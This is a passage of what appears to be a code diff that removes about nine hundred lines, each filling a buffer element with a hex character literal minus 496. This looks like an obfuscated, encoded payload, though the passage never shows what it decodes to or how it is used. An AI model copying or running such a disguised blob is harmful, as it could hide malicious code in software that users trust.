'\x211'-496; - buf[446] = '\x2dd'-496; - buf[447] = '\x1f1'-496; - buf[448] = '\x2b2'-496; - buf[449] = '\x21e'-496; - buf[450] = '\x281'-496; - buf[451] = '\x262'-496; - buf[452] = '\x2d8'-496; - buf[453] = '\x27c'-496; - buf[454] = '\x2ea'-496; - buf[455] = '\x2dc'-496; - buf[456] = '\x21d'-496; - buf[457] = '\x229'-496; - buf[458] = '\x2c6'-496; - buf[459] = '\x296'-496; - buf[460] = '\x232'-496; - buf[461] = '\x2ea'-496; - buf[462] = '\x212'-496; - buf[463] = '\x286'-496; - buf[464] = '\x23f'-496; - buf[465] = '\x219'-496; - buf[466] = '\x263'-496; - buf[467] = '\x294'-496; - buf[468] = '\x29a'-496; - buf[469] = '\x291'-496; - buf[470] = '\x1fc'-496; - buf[471] = '\x2c5'-496; - buf[472] = '\x205'-496; - buf[473] = '\x2e5'-496; - buf[474] = '\x23e'-496; - buf[475] = '\x2cd'-496; - buf[476] = '\x234'-496; - buf[477] = '\x241'-496; - buf[478] = '\x2c2'-496; - buf[479] = '\x2a8'-496; - buf[480] = '\x2b7'-496; - buf[481] = '\x254'-496; - buf[482] = '\x2ea'-496; - buf[483] = '\x278'-496; - buf[484] = '\x2ce'-496; - buf[485] = '\x282'-496; - buf[486] = '\x1fc'-496; - buf[487] = '\x273'-496; - buf[488] = '\x295'-496; - buf[489] = '\x29f'-496; - buf[490] = '\x242'-496; - buf[491] = '\x298'-496; - buf[492] = '\x215'-496; - buf[493] = '\x2db'-496; - buf[494] = '\x1fc'-496; - buf[495] = '\x207'-496; - buf[496] = '\x212'-496; - buf[497] = '\x26d'-496; - buf[498] = '\x208'-496; - buf[499] = '\x232'-496; - buf[500] = '\x2a5'-496; - buf[501] = '\x291'-496; - buf[502] = '\x21d'-496; - buf[503] = '\x267'-496; - buf[504] = '\x2dd'-496; - buf[505] = '\x273'-496; - buf[506] = '\x268'-496; - buf[507] = '\x238'-496; - buf[508] = '\x242'-496; - buf[509] = '\x2a3'-496; - buf[510] = '\x2a2'-496; - buf[511] = '\x286'-496; - buf[512] = '\x22b'-496; - buf[513] = '\x27e'-496; - buf[514] = '\x291'-496; - buf[515] = '\x1f7'-496; - buf[516] = '\x252'-496; - buf[517] = '\x267'-496; - buf[518] = '\x21d'-496; - buf[519] = '\x23a'-496; - buf[520] = '\x21b'-496; - buf[521] = '\x296'-496; - buf[522] = '\x21d'-496; - buf[523] = '\x2b7'-496; - buf[524] = '\x2b7'-496; - buf[525] = '\x29c'-496; - buf[526] = '\x23e'-496; - buf[527] = '\x20a'-496; - buf[528] = '\x20d'-496; - buf[529] = '\x245'-496; - buf[530] = '\x270'-496; - buf[531] = '\x208'-496; - buf[532] = '\x1fa'-496; - buf[533] = '\x23e'-496; - buf[534] = '\x263'-496; - buf[535] = '\x2e1'-496; - buf[536] = '\x25d'-496; - buf[537] = '\x298'-496; - buf[538] = '\x215'-496; - buf[539] = '\x21c'-496; - buf[540] = '\x274'-496; - buf[541] = '\x225'-496; - buf[542] = '\x286'-496; - buf[543] = '\x1f7'-496; - buf[544] = '\x255'-496; - buf[545] = '\x2c3'-496; - buf[546] = '\x23b'-496; - buf[547] = '\x254'-496; - buf[548] = '\x262'-496; - buf[549] = '\x2a1'-496; - buf[550] = '\x293'-496; - buf[551] = '\x26a'-496; - buf[552] = '\x2a5'-496; - buf[553] = '\x2c9'-496; - buf[554] = '\x280'-496; - buf[555] = '\x1fe'-496; - buf[556] = '\x255'-496; - buf[557] = '\x221'-496; - buf[558] = '\x20a'-496; - buf[559] = '\x2ab'-496; - buf[560] = '\x242'-496; - buf[561] = '\x259'-496; - buf[562] = '\x2d8'-496; - buf[563] = '\x2e8'-496; - buf[564] = '\x27a'-496; - buf[565] = '\x2bb'-496; - buf[566] = '\x22b'-496; - buf[567] = '\x21e'-496; - buf[568] = '\x26a'-496; - buf[569] = '\x2df'-496; - buf[570] = '\x256'-496; - buf[571] = '\x2e5'-496; - buf[572] = '\x28d'-496; - buf[573] = '\x251'-496; - buf[574] = '\x2cd'-496; - buf[575] = '\x2b2'-496; - buf[576] = '\x20c'-496; - buf[577] = '\x1fb'-496; - buf[578] = '\x2cd'-496; - buf[579] = '\x220'-496; - buf[580] = '\x2e8'-496; - buf[581] = '\x2ba'-496; - buf[582] = '\x293'-496; - buf[583] = '\x207'-496; - buf[584] = '\x284'-496; - buf[585] = '\x26c'-496; - buf[586] = '\x223'-496; - buf[587] = '\x2c1'-496; - buf[588] = '\x265'-496; - buf[589] = '\x2d0'-496; - buf[590] = '\x25f'-496; - buf[591] = '\x23b'-496; - buf[592] = '\x295'-496; - buf[593] = '\x208'-496; - buf[594] = '\x282'-496; - buf[595] = '\x1fc'-496; - buf[596] = '\x2d2'-496; - buf[597] = '\x212'-496; - buf[598] = '\x207'-496; - buf[599] = '\x252'-496; - buf[600] = '\x22b'-496; - buf[601] = '\x2cf'-496; - buf[602] = '\x24e'-496; - buf[603] = '\x26c'-496; - buf[604] = '\x2a3'-496; - buf[605] = '\x23d'-496; - buf[606] = '\x2bd'-496; - buf[607] = '\x2c2'-496; - buf[608] = '\x27b'-496; - buf[609] = '\x240'-496; - buf[610] = '\x267'-496; - buf[611] = '\x2db'-496; - buf[612] = '\x234'-496; - buf[613] = '\x24a'-496; - buf[614] = '\x2e8'-496; - buf[615] = '\x211'-496; - buf[616] = '\x2e0'-496; - buf[617] = '\x2dd'-496; - buf[618] = '\x21a'-496; - buf[619] = '\x219'-496; - buf[620] = '\x243'-496; - buf[621] = '\x21f'-496; - buf[622] = '\x255'-496; - buf[623] = '\x2d3'-496; - buf[624] = '\x290'-496; - buf[625] = '\x224'-496; - buf[626] = '\x236'-496; - buf[627] = '\x259'-496; - buf[628] = '\x2bf'-496; - buf[629] = '\x2ea'-496; - buf[630] = '\x21d'-496; - buf[631] = '\x1fc'-496; - buf[632] = '\x24d'-496; - buf[633] = '\x2cd'-496; - buf[634] = '\x2b5'-496; - buf[635] = '\x223'-496; - buf[636] = '\x221'-496; - buf[637] = '\x273'-496; - buf[638] = '\x24b'-496; - buf[639] = '\x2ba'-496; - buf[640] = '\x248'-496; - buf[641] = '\x2c5'-496; - buf[642] = '\x240'-496; - buf[643] = '\x28a'-496; - buf[644] = '\x217'-496; - buf[645] = '\x298'-496; - buf[646] = '\x2de'-496; - buf[647] = '\x1f7'-496; - buf[648] = '\x20e'-496; - buf[649] = '\x2bc'-496; - buf[650] = '\x2e8'-496; - buf[651] = '\x221'-496; - buf[652] = '\x284'-496; - buf[653] = '\x24c'-496; - buf[654] = '\x29c'-496; - buf[655] = '\x25a'-496; - buf[656] = '\x2e4'-496; - buf[657] = '\x2bb'-496; - buf[658] = '\x229'-496; - buf[659] = '\x2ec'-496; - buf[660] = '\x230'-496; - buf[661] = '\x208'-496; - buf[662] = '\x277'-496; - buf[663] = '\x21e'-496; - buf[664] = '\x24b'-496; - buf[665] = '\x261'-496; - buf[666] = '\x213'-496; - buf[667] = '\x22a'-496; - buf[668] = '\x208'-496; - buf[669] = '\x26c'-496; - buf[670] = '\x29b'-496; - buf[671] = '\x290'-496; - buf[672] = '\x274'-496; - buf[673] = '\x228'-496; - buf[674] = '\x274'-496; - buf[675] = '\x24f'-496; - buf[676] = '\x284'-496; - buf[677] = '\x1f6'-496; - buf[678] = '\x2e3'-496; - buf[679] = '\x26a'-496; - buf[680] = '\x2ba'-496; - buf[681] = '\x2a6'-496; - buf[682] = '\x1fd'-496; - buf[683] = '\x2a1'-496; - buf[684] = '\x2ed'-496; - buf[685] = '\x25a'-496; - buf[686] = '\x215'-496; - buf[687] = '\x2c4'-496; - buf[688] = '\x263'-496; - buf[689] = '\x265'-496; - buf[690] = '\x29a'-496; - buf[691] = '\x28b'-496; - buf[692] = '\x204'-496; - buf[693] = '\x255'-496; - buf[694] = '\x27f'-496; - buf[695] = '\x2a9'-496; - buf[696] = '\x2ca'-496; - buf[697] = '\x23e'-496; - buf[698] = '\x1f1'-496; - buf[699] = '\x299'-496; - buf[700] = '\x2b9'-496; - buf[701] = '\x2de'-496; - buf[702] = '\x278'-496; - buf[703] = '\x207'-496; - buf[704] = '\x2de'-496; - buf[705] = '\x283'-496; - buf[706] = '\x27f'-496; - buf[707] = '\x21a'-496; - buf[708] = '\x2ce'-496; - buf[709] = '\x24f'-496; - buf[710] = '\x2a6'-496; - buf[711] = '\x272'-496; - buf[712] = '\x2bc'-496; - buf[713] = '\x1fa'-496; - buf[714] = '\x294'-496; - buf[715] = '\x253'-496; - buf[716] = '\x205'-496; - buf[717] = '\x25c'-496; - buf[718] = '\x298'-496; - buf[719] = '\x2c6'-496; - buf[720] = '\x297'-496; - buf[721] = '\x29c'-496; - buf[722] = '\x222'-496; - buf[723] = '\x2ee'-496; - buf[724] = '\x2e9'-496; - buf[725] = '\x231'-496; - buf[726] = '\x287'-496; - buf[727] = '\x204'-496; - buf[728] = '\x211'-496; - buf[729] = '\x225'-496; - buf[730] = '\x2ea'-496; - buf[731] = '\x2b8'-496; - buf[732] = '\x245'-496; - buf[733] = '\x27e'-496; - buf[734] = '\x250'-496; - buf[735] = '\x2ab'-496; - buf[736] = '\x2b6'-496; - buf[737] = '\x2da'-496; - buf[738] = '\x243'-496; - buf[739] = '\x27d'-496; - buf[740] = '\x264'-496; - buf[741] = '\x235'-496; - buf[742] = '\x283'-496; - buf[743] = '\x226'-496; - buf[744] = '\x1fe'-496; - buf[745] = '\x243'-496; - buf[746] = '\x2c4'-496; - buf[747] = '\x298'-496; - buf[748] = '\x23d'-496; - buf[749] = '\x280'-496; - buf[750] = '\x274'-496; - buf[751] = '\x241'-496; - buf[752] = '\x290'-496; - buf[753] = '\x26b'-496; - buf[754] = '\x234'-496; - buf[755] = '\x2a2'-496; - buf[756] = '\x298'-496; - buf[757] = '\x23f'-496; - buf[758] = '\x2b2'-496; - buf[759] = '\x278'-496; - buf[760] = '\x261'-496; - buf[761] = '\x29b'-496; - buf[762] = '\x29b'-496; - buf[763] = '\x297'-496; - buf[764] = '\x25c'-496; - buf[765] = '\x2af'-496; - buf[766] = '\x24c'-496; - buf[767] = '\x25a'-496; - buf[768] = '\x255'-496; - buf[769] = '\x22c'-496; - buf[770] = '\x29d'-496; - buf[771] = '\x281'-496; - buf[772] = '\x1fe'-496; - buf[773] = '\x208'-496; - buf[774] = '\x2c2'-496; - buf[775] = '\x21e'-496; - buf[776] = '\x20a'-496; - buf[777] = '\x27a'-496; - buf[778] = '\x235'-496; - buf[779] = '\x2c9'-496; - buf[780] = '\x287'-496; - buf[781] = '\x2c2'-496; - buf[782] = '\x2e9'-496; - buf[783] = '\x25b'-496; - buf[784] = '\x26d'-496; - buf[785] = '\x2b5'-496; - buf[786] = '\x22f'-496; - buf[787] = '\x211'-496; - buf[788] = '\x231'-496; - buf[789] = '\x269'-496; - buf[790] = '\x2e6'-496; - buf[791] = '\x2e4'-496; - buf[792] = '\x2d1'-496; - buf[793] = '\x2c3'-496; - buf[794] = '\x1f9'-496; - buf[795] = '\x246'-496; - buf[796] = '\x233'-496; - buf[797] = '\x2c3'-496; - buf[798] = '\x2c7'-496; - buf[799] = '\x2c6'-496; - buf[800] = '\x25d'-496; - buf[801] = '\x24c'-496; - buf[802] = '\x234'-496; - buf[803] = '\x1fd'-496; - buf[804] = '\x203'-496; - buf[805] = '\x2bb'-496; - buf[806] = '\x2ac'-496; - buf[807] = '\x2ac'-496; - buf[808] = '\x219'-496; - buf[809] = '\x216'-496; - buf[810] = '\x2c1'-496; - buf[811] = '\x2ad'-496; - buf[812] = '\x278'-496; - buf[813] = '\x2a4'-496; - buf[814] = '\x243'-496; - buf[815] = '\x283'-496; - buf[816] = '\x252'-496; - buf[817] = '\x27b'-496; - buf[818] = '\x267'-496; - buf[819] = '\x213'-496; - buf[820] = '\x204'-496; - buf[821] = '\x20a'-496; - buf[822] = '\x25e'-496; - buf[823] = '\x208'-496; - buf[824] = '\x266'-496; - buf[825] = '\x27d'-496; - buf[826] = '\x1f6'-496; - buf[827] = '\x28e'-496; - buf[828] = '\x1fe'-496; - buf[829] = '\x2b1'-496; - buf[830] = '\x23e'-496; - buf[831] = '\x22d'-496; - buf[832] = '\x2c1'-496; - buf[833] = '\x293'-496; - buf[834] = '\x24b'-496; - buf[835] = '\x2dc'-496; - buf[836] = '\x21e'-496; - buf[837] = '\x211'-496; - buf[838] = '\x2b5'-496; - buf[839] = '\x209'-496; - buf[840] = '\x28c'-496; - buf[841] = '\x223'-496; - buf[842] = '\x23f'-496; - buf[843] = '\x23a'-496; - buf[844] = '\x274'-496; - buf[845] = '\x23a'-496; - buf[846] = '\x2ab'-496; - buf[847] = '\x2db'-496; - buf[848] = '\x1fc'-496; - buf[849] = '\x29e'-496; - buf[850] = '\x238'-496; - buf[851] = '\x29e'-496; - buf[852] = '\x272'-496; - buf[853] = '\x28d'-496; - buf[854] = '\x1fe'-496; - buf[855] = '\x2aa'-496; - buf[856] = '\x264'-496; - buf[857] = '\x2b4'-496; - buf[858] = '\x258'-496; - buf[859] = '\x1f6'-496; - buf[860] = '\x2a9'-496; - buf[861] = '\x24b'-496; - buf[862] = '\x241'-496; - buf[863] = '\x2d6'-496; - buf[864] = '\x210'-496; - buf[865] = '\x2b8'-496; - buf[866] = '\x220'-496; - buf[867] = '\x2a8'-496; - buf[868] = '\x2cf'-496; - buf[869] = '\x257'-496; - buf[870] = '\x250'-496; - buf[871] = '\x23d'-496; - buf[872] = '\x2cb'-496; - buf[873] = '\x275'-496; - buf[874] = '\x2a5'-496; - buf[875] = '\x276'-496; - buf[876] = '\x23f'-496; - buf[877] = '\x2ed'-496; - buf[878] = '\x20a'-496; - buf[879] = '\x267'-496; - buf[880] = '\x287'-496; - buf[881] = '\x22b'-496; - buf[882] = '\x23b'-496; - buf[883] = '\x267'-496; - buf[884] = '\x253'-496; - buf[885] = '\x1fa'-496; - buf[886] = '\x298'-496; - buf[887] = '\x2ca'-496; - buf[888] = '\x2d8'-496; - buf[889] = '\x297'-496; - buf[890] = '\x240'-496; - buf[891] = '\x2e0'-496; - buf[892] = '\x2ee'-496; - buf[893] = '\x25d'-496; - buf[894] = '\x212'-496; - buf[895] = '\x232'-496; - buf[896] = '\x2d0'-496; - buf[897] = '\x2db'-496; - buf[898] = '\x2eb'-496; - buf[899] = '\x284'-496; - buf[900] = '\x260'-496; - buf[901] = '\x2c8'-496; - buf[902] = '\x2ef'-496; - buf[903] = '\x29e'-496; - buf[904] = '\x28f'-496; - buf[905] = '\x251'-496; - buf[906] = '\x24f'-496; - buf[907] = '\x2db'-496; - buf[908] = '\x20d'-496; - buf[909] = '\x2ba'-496; - buf[910] = '\x265'-496; - buf[911] = '\x247'-496; - buf[912] = '\x2c4'-496; - buf[913] = '\x211'-496; - buf[914] = '\x2eb'-496; - buf[915] = '\x28f'-496; - buf[916] = '\x2c5'-496; - buf[917] = '\x22a'-496; - buf[918] = '\x229'-496; - buf[919] = '\x2c5'-496; - buf[920] = '\x26d'-496; - buf[921] = '\x228'-496; - buf[922] = '\x234'-496; - buf[923] = '\x2d5'-496; - buf[924] = '\x25b'-496; - buf[925] = '\x288'-496; - buf[926] = '\x2d4'-496; - buf[927] = '\x21b'-496; - buf[928] = '\x252'-496; - buf[929] = '\x22c'-496; - buf[930] = '\x2a4'-496; - buf[931] = '\x246'-496; - buf[932] = '\x283'-496; - buf[933] = '\x226'-496; - buf[934] = '\x2ca'-496; - buf[935] = '\x2a2'-496; - buf[936] = '\x262'-496; - buf[937] = '\x219'-496; - buf[938] = '\x257'-496; - buf[939] = '\x259'-496; - buf[940] = '\x26c'-496; - buf[941] = '\x2c7'-496; - buf[942] = '\x270'-496; - buf[943] = '\x238'-496; - buf[944] = '\x274'-496; - buf[945] = '\x21a'-496; - buf[946] = '\x26f'-496; - buf[947] = '\x2bc'-496; - buf[948] = '\x206'-496; - buf[949] = '\x2c5'-496; - buf[950] = '\x248'-496; - buf[951] = '\x247'-496; - buf[952] = '\x1f9'-496; - buf[953] = '\x2c2'-496; - buf[954] = '\x213'-496; - buf[955] = '\x25d'-496; - buf[956] = '\x216'-496; - buf[957] = '\x2a8'-496; - buf[958] = '\x203'-496; - buf[959] = '\x275'-496; - buf[960] = '\x2c7'-496; - buf[961] = '\x22d'-496; - buf[962] = '\x288'-496; - buf[963] = '\x26d'-496; - buf[964] = '\x2e0'-496; - buf[965] = '\x26a'-496; - buf[966] = '\x235'-496; - buf[967] = '\x28c'-496; - buf[968] = '\x2df'-496; - buf[969] = '\x1f5'-496; - buf[970] = '\x1fd'-496; - buf[971] = '\x211'-496; - buf[972] = '\x278'-496; - buf[973] = '\x25a'-496; - buf[974] = '\x2bd'-496; - buf[975] = '\x204'-496; - buf[976] = '\x2ec'-496; - buf[977] = '\x23e'-496; - buf[978] = '\x2d7'-496; - buf[979] = '\x1f1'-496; - buf[980] = '\x256'-496; - buf[981] = '\x20d'-496; - buf[982] = '\x2c4'-496; - buf[983] = '\x24e'-496; - buf[984] = '\x256'-496; - buf[985] = '\x205'-496; - buf[986] = '\x204'-496; - buf[987] = '\x284'-496; - buf[988] = '\x2a0'-496; - buf[989] = '\x22d'-496; - buf[990] = '\x2bd'-496; - buf[991] = '\x208'-496; - buf[992] = '\x2dd'-496; - buf[993] = '\x202'-496; - buf[994] = '\x26a'-496; - buf[995] = '\x289'-496; - buf[996] = '\x1f2'-496; - buf[997] = '\x274'-496; - buf[998] = '\x273'-496; - buf[999] = '\x21a'-496; - buf[1000] = '\x212'-496; - buf[1001] = '\x21e'-496; - buf[1002] = '\x22e'-496; - buf[1003] = '\x274'-496; - buf[1004] = '\x265'-496; - buf[1005] = '\x2c0'-496; - buf[1006] = '\x261'-496; - buf[1007] = '\x2e7'-496; - buf[1008] = '\x2ad'-496; - buf[1009] = '\x23d'-496; - buf[1010] = '\x216'-496; - buf[1011] = '\x2d1'-496; - buf[1012] = '\x281'-496; - buf[1013] = '\x1f5'-496; - buf[1014] = '\x22b'-496; - buf[1015] = '\x254'-496; - buf[1016] = '\x2e1'-496; - buf[1017] = '\x276'-496; - buf[1018] = '\x241'-496; - buf[1019] = '\x2cd'-496; - buf[1020] = '\x2d8'-496; - buf[1021] = '\x25d'-496; - buf[1022] = '\x294'-496; - buf[1023] = '\x21a'-496; - buf[1024] = '\x206'-496; - buf[1025] = '\x2c8'-496; - buf[1026] = '\x210'-496; - buf[1027] = '\x2ef'-496; - buf[1028] = '\x255'-496; - buf[1029] = '\x286'-496; - buf[1030] = '\x21e'-496; - buf[1031] = '\x256'-496; - buf[1032] = '\x21a'-496; - buf[1033] = '\x259'-496; - buf[1034] = '\x26f'-496; - buf[1035] = '\x2c7'-496; - buf[1036] = '\x28b'-496; - buf[1037] = '\x2a9'-496; - buf[1038] = '\x284'-496; - buf[1039] = '\x269'-496; - buf[1040] = '\x2ef'-496; - buf[1041] = '\x208'-496; - buf[1042] = '\x28e'-496; - buf[1043] = '\x2c7'-496; - buf[1044] = '\x2a5'-496; - buf[1045] = '\x260'-496; - buf[1046] = '\x2d1'-496; - buf[1047] = '\x22d'-496; - buf[1048] = '\x216'-496; - buf[1049] = '\x202'-496; - buf[1050] = '\x233'-496; - buf[1051] = '\x1f5'-496; - buf[1052] = '\x233'-496; - buf[1053] = '\x202'-496; - buf[1054] = '\x2a6'-496; - buf[1055] = '\x2ce'-496; - buf[1056] = '\x244'-496; - buf[1057] = '\x290'-496; - buf[1058] = '\x2ba'-496; - buf[1059] = '\x2ab'-496; - buf[1060] = '\x1f6'-496; - buf[1061] = '\x295'-496; - buf[1062] = '\x279'-496; - buf[1063] = '\x25f'-496; - buf[1064] = '\x2bd'-496; - buf[1065] = '\x208'-496; - buf[1066] = '\x220'-496; - buf[1067] = '\x29c'-496; - buf[1068] = '\x24b'-496; - buf[1069] = '\x218'-496; - buf[1070] = '\x276'-496; - buf[1071] = '\x2a7'-496; - buf[1072] = '\x283'-496; - buf[1073] = '\x27a'-496; - buf[1074] = '\x218'-496; - buf[1075] = '\x278'-496; - buf[1076] = '\x286'-496; - buf[1077] = '\x235'-496; - buf[1078] = '\x2af'-496; - buf[1079] = '\x23a'-496; - buf[1080] = '\x214'-496; - buf[1081] = '\x29b'-496; - buf[1082] = '\x1f2'-496; - buf[1083] = '\x2d4'-496; - buf[1084] = '\x209'-496; - buf[1085] = '\x1f3'-496; - buf[1086] = '\x274'-496; - buf[1087] = '\x212'-496; - buf[1088] = '\x2ce'-496; - buf[1089] = '\x20c'-496; - buf[1090] = '\x202'-496; - buf[1091] = '\x263'-496; - buf[1092] = '\x2c9'-496; - buf[1093] = '\x25e'-496; - buf[1094] = '\x274'-496; - buf[1095] = '\x29d'-496; - buf[1096] = '\x272'-496; - buf[1097] = '\x2b3'-496; - buf[1098] = '\x243'-496; - buf[1099] = '\x2bf'-496; - buf[1100] = '\x2c6'-496; - buf[1101] = '\x26a'-496; - buf[1102] = '\x247'-496; - buf[1103] = '\x249'-496; - buf[1104] = '\x231'-496; - buf[1105] = '\x2c5'-496; - buf[1106] = '\x28b'-496; - buf[1107] = '\x204'-496; - buf[1108] = '\x26e'-496; - buf[1109] = '\x2bc'-496; - buf[1110] = '\x2bb'-496; - buf[1111] = '\x22b'-496; - buf[1112] = '\x24a'-496; - buf[1113] = '\x263'-496; - buf[1114] = '\x246'-496; - buf[1115] = '\x280'-496; - buf[1116] = '\x247'-496; - buf[1117] = '\x295'-496; - buf[1118] = '\x257'-496; - buf[1119] = '\x206'-496; - buf[1120] = '\x221'-496; - buf[1121] = '\x23f'-496; - buf[1122] = '\x203'-496; - buf[1123] = '\x238'-496; - buf[1124] = '\x23e'-496; - buf[1125] = '\x2d6'-496; - buf[1126] = '\x20b'-496; - buf[1127] = '\x1f9'-496; - buf[1128] = '\x254'-496; - buf[1129] = '\x2c4'-496; - buf[1130] = '\x2ce'-496; - buf[1131] = '\x288'-496; - buf[1132] = '\x254'-496; - buf[1133] = '\x24a'-496; - buf[1134] = '\x266'-496; - buf[1135] = '\x25e'-496; - buf[1136] = '\x2ef'-496; - buf[1137] = '\x23f'-496; - buf[1138] = '\x2eb'-496; - buf[1139] = '\x1fc'-496; - buf[1140] = '\x274'-496; - buf[1141] = '\x242'-496; - buf[1142] = '\x2ec'-496; - buf[1143] = '\x27c'-496; - buf[1144] = '\x240'-496; - buf[1145] = '\x25f'-496; - buf[1146] = '\x271'-496; - buf[1147] = '\x2e3'-496; - buf[1148] = '\x27e'-496; - buf[1149] = '\x287'-496; - buf[1150] = '\x22c'-496; - buf[1151] = '\x255'-496; - buf[1152] = '\x272'-496; - buf[1153] = '\x2a0'-496; - buf[1154] = '\x259'-496; - buf[1155] = '\x2c3'-496; - buf[1156] = '\x250'-496; - buf[1157] = '\x270'-496; - buf[1158] = '\x2da'-496; - buf[1159] = '\x1f2'-496; - buf[1160] = '\x2a1'-496; - buf[1161] = '\x205'-496; - buf[1162] = '\x1fc'-496; - buf[1163] = '\x2a3'-496; - buf[1164] = '\x227'-496; - buf[1165] = '\x29d'-496; - buf[1166] = '\x212'-496; - buf[1167] = '\x1fc'-496; - buf[1168] = '\x248'-496; - buf[1169] = '\x1f2'-496; - buf[1170] = '\x20c'-496; - buf[1171] = '\x2bf'-496; - buf[1172] = '\x2ef'-496; - buf[1173] = '\x2d2'-496; - buf[1174] = '\x2eb'-496; - buf[1175] = '\x2e0'-496; - buf[1176] = '\x20f'-496; - buf[1177] = '\x2e6'-496; - buf[1178] = '\x2ab'-496; - buf[1179] = '\x23a'-496; - buf[1180] = '\x2b6'-496; - buf[1181] = '\x27e'-496; - buf[1182] = '\x276'-496; - buf[1183] = '\x242'-496; - buf[1184] = '\x20f'-496; - buf[1185] = '\x2c1'-496; - buf[1186] = '\x2a0'-496; - buf[1187] = '\x287'-496; - buf[1188] = '\x2d6'-496; - buf[1189] = '\x252'-496; - buf[1190] = '\x22f'-496; - buf[1191] = '\x259'-496; - buf[1192] = '\x252'-496; - buf[1193] = '\x2c4'-496; - buf[1194] = '\x238'-496; - buf[1195] = '\x2da'-496; - buf[1196] = '\x23c'-496; - buf[1197] = '\x246'-496; - buf[1198] = '\x1f0'-496; - buf[1199] = '\x2b5'-496; - buf[1200] = '\x25e'-496; - buf[1201] = '\x1fb'-496; - buf[1202] = '\x295'-496; - buf[1203] = '\x202'-496; - buf[1204] = '\x2ee'-496; - buf[1205] = '\x20e'-496; - buf[1206] = '\x236'-496; - buf[1207] = '\x259'-496; - buf[1208] = '\x2a9'-496; - buf[1209] = '\x1f1'-496; - buf[1210] = '\x29c'-496; - buf[1211] = '\x2da'-496; - buf[1212] = '\x2d4'-496; - buf[1213] = '\x266'-496; - buf[1214] = '\x21e'-496; - buf[1215] = '\x2a6'-496; - buf[1216] = '\x257'-496; - buf[1217] = '\x28d'-496; - buf[1218] = '\x289'-496; - buf[1219] = '\x1fb'-496; - buf[1220] = '\x2e6'-496; - buf[1221] = '\x291'-496; - buf[1222] = '\x2e6'-496; - buf[1223] = '\x251'-496; - buf[1224] = '\x203'-496; - buf[1225] = '\x2a5'-496; - buf[1226] = '\x2e5'-496; - buf[1227] = '\x29d'-496; - buf[1228] = '\x28a'-496; - buf[1229] = '\x222'-496; - buf[1230] = '\x2b4'-496; - buf[1231] = '\x290'-496; - buf[1232] = '\x284'-496; - buf[1233] = '\x20e'-496; - buf[1234] = '\x25d'-496; - buf[1235] = '\x222'-496; - buf[1236] = '\x2c6'-496; - buf[1237] = '\x291'-496; - buf[1238] = '\x29b'-496; - buf[1239] = '\x28a'-496; - buf[1240] = '\x2c2'-496; - buf[1241] = '\x2d6'-496; - buf[1242] = '\x22d'-496; - buf[1243] = '\x210'-496; - buf[1244] = '\x29f'-496; - buf[1245] = '\x2d0'-496; - buf[1246] = '\x259'-496; - buf[1247] = '\x2ec'-496; - buf[1248] = '\x21b'-496; - buf[1249] = '\x200'-496; - buf[1250] = '\x2b0'-496; - buf[1251] = '\x2c0'-496; - buf[1252] = '\x2ed'-496; - buf[1253] = '\x23c'-496; - buf[1254] = '\x215'-496; - buf[1255] = '\x24b'-496; - buf[1256] = '\x202'-496; - buf[1257] = '\x2dc'-496; - buf[1258] = '\x1fc'-496; - buf[1259] = '\x23f'-496; - buf[1260] = '\x22c'-496; - buf[1261] = '\x2d7'-496; - buf[1262] = '\x2bc'-496; - buf[1263] = '\x20c'-496; - buf[1264] = '\x231'-496; - buf[1265] = '\x2bf'-496; - buf[1266] = '\x239'-496; - buf[1267] = '\x26a'-496; - buf[1268] = '\x20d'-496; - buf[1269] = '\x257'-496; - buf[1270] = '\x2cc'-496; - buf[1271] = '\x226'-496; - buf[1272] = '\x2e1'-496; - buf[1273] = '\x2ea'-496; - buf[1274] = '\x27e'-496; - buf[1275] = '\x238'-496; - buf[1276] = '\x27f'-496; - buf[1277] = '\x1f1'-496; - buf[1278] = '\x262'-496; - buf[1279] = '\x2cf'-496; - buf[1280] = '\x2a6'-496; - buf[1281] = '\x25f'-496; - buf[1282] = '\x279'-496; - buf[1283] = '\x23b'-496; - buf[1284] = '\x2de'-496; - buf[1285] = '\x21e'-496; - buf[1286] = '\x2c0'-496; - buf[1287] = '\x256'-496; - buf[1288] = '\x255'-496; - buf[1289] = '\x1ff'-496; - buf[1290] = '\x20a'-496; - buf[1291] = '\x2d7'-496; - buf[1292] = '\x2c3'-496; - buf[1293] = '\x270'-496; - buf[1294] = '\x22b'-496; - buf[1295] = '\x21f'-496; - buf[1296] = '\x1f4'-496; - buf[1297] = '\x25f'-496; - buf[1298] = '\x2e2'-496; - buf[1299] = '\x247'-496; - buf[1300] = '\x2d7'-496; - buf[1301] = '\x23c'-496; - buf[1302] = '\x201'-496; - buf[1303] = '\x1f1'-496; - buf[1304] = '\x248'-496; - buf[1305] = '\x23c'-496; - buf[1306] = '\x2db'-496; - buf[1307] = '\x203'-496; - buf[1308] = '\x2e7'-496; - buf[1309] = '\x228'-496; - buf[1310] = '\x2ba'-496; - buf[1311] = '\x216'-496; - buf[1312] = '\x2b9'-496; - buf[1313] = '\x2dd'-496; - buf[1314] = '\x2ae'-496; - buf[1315] = '\x29d'-496; - buf[1316] = '\x235'-496; - buf[1317] = '\x2dd'-496; - buf[1318] = '\x1f5'-496; - buf[1319] = '\x2a3'-496; - buf[1320] = '\x2d6'-496; - buf[1321] = '\x2e8'-496; - buf[1322] = '\x2a2'-496; - buf[1323] = '\x20a'-496; - buf[1324] = '\x2b8'-496; - buf[1325] = '\x20d'-496; - buf[1326] = '\x2cd'-496; - buf[1327] = '\x214'-496; - buf[1328] = '\x212'-496; - buf[1329] = '\x2a7'-496; - buf[1330] = '\x26d'-496; - buf[1331] = '\x2bc'-496; - buf[1332] = '\x2ac'-496; - buf[1333] = '\x230'-496; - buf[1334] = '\x20a'-496; - buf[1335] = '\x2d3'-496; - buf[1336] = '\x22f'-496; - buf[1337] = '\x267'-496; - buf[1338] = '\x2a5'-496; - buf[1339] = '\x294'-496; - buf[1340] = '\x2c9'-496; - buf[1341] = '\x2b1'-496; - buf[1342] = '\x2d6'-496; - buf[1343] = '\x1f0'-496; - buf[1344] = '\x254'-496; - buf[1345] = '\x2be'-496; - buf[1346] = '\x2c4'-496; - buf[1347] = '\x236'-496; - buf[1348] = '\x264'-496; - buf[1349] = '\x26b'-496; - buf[1350] = '\x257'-496; - buf[1351] = '\x269'-496; - buf[1352] = '\x202'-496; - buf[1353] = '\x2c3'-496; - buf[1354] = '\x27d'-496; - buf[1355] = '\x2ea'-496; - buf[1356] = '\x20f'-496; - buf[1357] = '\x2b0'-496; - buf[1358] = '\x23b'-496; - buf[1359] = '\x240'-496; - buf[1360] = '\x265'-496; - buf[1361] = '\x21c'-496; - buf[1362] = '\x298'-496; - buf[1363] = '\x271'-496; - 